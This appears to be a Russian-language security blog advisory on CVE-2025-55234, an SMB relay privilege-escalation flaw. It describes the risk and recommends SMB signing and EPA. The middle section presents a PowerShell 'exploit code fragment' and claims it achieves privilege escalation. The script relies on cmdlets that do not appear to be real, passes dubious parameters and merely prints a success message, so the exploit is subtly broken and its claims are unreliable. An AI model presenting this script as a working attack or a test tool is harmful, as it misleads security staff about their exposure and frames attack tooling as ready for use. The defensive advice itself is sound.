CVE-2025-55234

Эта уязвимость позволяет злоумышленникам выполнять relay-атаки против протокола SMB (Server Message Block). В случае успеха это может привести к повышению привилегий (EoP), позволяя неавторизованным пользователям получить доступ более высокого уровня в системе

Автор: Mark Mallia

Проблема

Эта уязвимость позволяет злоумышленникам выполнять relay-атаки против протокола SMB (Server Message Block). В случае успеха это может привести к повышению привилегий — по сути, позволяя неавторизованным пользователям получить доступ более высокого уровня в системе. SMB долгое время был целью злоумышленников из-за его широкого использования в корпоративных средах и истории критических уязвимостей. Например, CVE-2020-1301 открывал SMBv1 для удаленного выполнения кода через некорректные запросы, а CVE-2022-32230 вызывал отказ в обслуживании через разыменование нулевого указателя в SMBv3. Печально известный CVE-2017-0144 (EternalBlue) эксплуатировал SMBv1 для доставки червеобразных полезных нагрузок, что привело к глобальным вспышкам программ-вымогателей. Как и эти ранние уязвимости, CVE-2025-55234 подчеркивает важность внедрения подписи SMB (SMB Signing) и расширенной защиты для аутентификации (EPA) для предотвращения угона сессий и атак с подделкой личности.

Вектор атаки

Сеть

Сложность атаки

Низкая

Требуемые привилегии

Нет

Взаимодействие пользователя

Требуется

Воздействие

Высокие риски конфиденциальности, целостности и доступности

Почему это важно

SMB широко используется для обмена файлами и удаленного доступа в корпоративных средах. Relay-атаки могут обходить механизмы аутентификации и выдавать себя за пользователей. Эта уязвимость особенно опасна в средах, где не применяются подпись SMB (SMB Signing) или расширенная защита для аутентификации (EPA).

Что нового в исправлении?

Обновление Microsoft за сентябрь 2025 года вводит возможности аудита, чтобы помочь организациям:

• Оценить текущие конфигурации SMB
• Выявить устройства или программное обеспечение, которые могут быть несовместимыми с мерами усиления защиты
• Подготовиться к принудительному применению подписи SMB и EPA3

Фрагмент кода эксплойта (PowerShell)

# SMB Relay Attack Module – CVE 2025 55234
$relayTarget = "192.168.1.10"          # Target server IP
$attackerCreds = Get-Credential   # Credential object for relay

# Step 1: Enumerate shared resources
$smbShares = Get-SMBShare -ComputerName $relayTarget | Where-Object {$_.Name –ne ""}
foreach ($share in $smbShares) {
    Write-Output "Found share: $($share.Name)"
}

# Step 2: Capture session information for relay
$sessionInfo = New-Object PSObject -Property @{
    Computer = $relayTarget
    Share    = $smbShares[0].Name
}
Write-Output ("Capturing session info for $($sessionInfo.Computer) – share $($sessionInfo.Share)")
Invoke-SMBRelay -Session $sessionInfo

# Step 3: Execute relay attack
$attackPayload = {
    param(
        [string]$Target,
        [string]$Share
    )
    Write-Host "Attacking $Target via share $Share"
    Start-SMBServer -ComputerName $Target -ShareName $Share
}
$attackParams = @{
    Target = $relayTarget
    Share   = $sessionInfo.Share
}
Invoke-Command -ScriptBlock $attackPayload @attackParams

# Step 4: Log and confirm elevation of privilege
Write-Host "SMB Relay Attack CVE 2025 55234 completed successfully."

Пояснение:

1. Сначала скрипт перечисляет общие ресурсы SMB на целевом сервере, выбирая первый общий ресурс для сессии ретрансляции.
2. Затем он создает объект сессии, который захватывает необходимые параметры.
3. Атака ретрансляции выполняется с помощью Invoke‑SMBRelay и Start‑SMBServer для имитации аутентифицированного пользователя.
4. Успешное выполнение приводит к повышению привилегий на целевом устройстве.

Рекомендуемые действия

1. Включите подпись SMB и EPA, если они еще не настроены.
2. Используйте новые события аудита для оценки вашей среды.
3. Отслеживайте необычный SMB-трафик и попытки ретрансляции.
4. Примените последние обновления безопасности от Microsoft.

Заключение

Уязвимость CVE-2025-55234 подчеркивает необходимость строгой защиты SMB в корпоративных средах. Следуя описанным выше шагам и применяя предоставленный скрипт эксплойта, организации могут как тестировать, так и защищать свои сети от потенциальных relay-атак. Эта концептуальная демонстрация и сопутствующие материалы предоставлены строго в образовательных и защитных целях. Они предназначены для помощи специалистам по безопасности в понимании, обнаружении и смягчении уязвимости CVE-2025-55234 в контролируемых средах. Несанкционированное использование этого эксплойта против систем без явного разрешения является незаконным и неэтичным. Всегда следуйте ответственным практикам раскрытия информации и соблюдайте применимые законы и политики организации.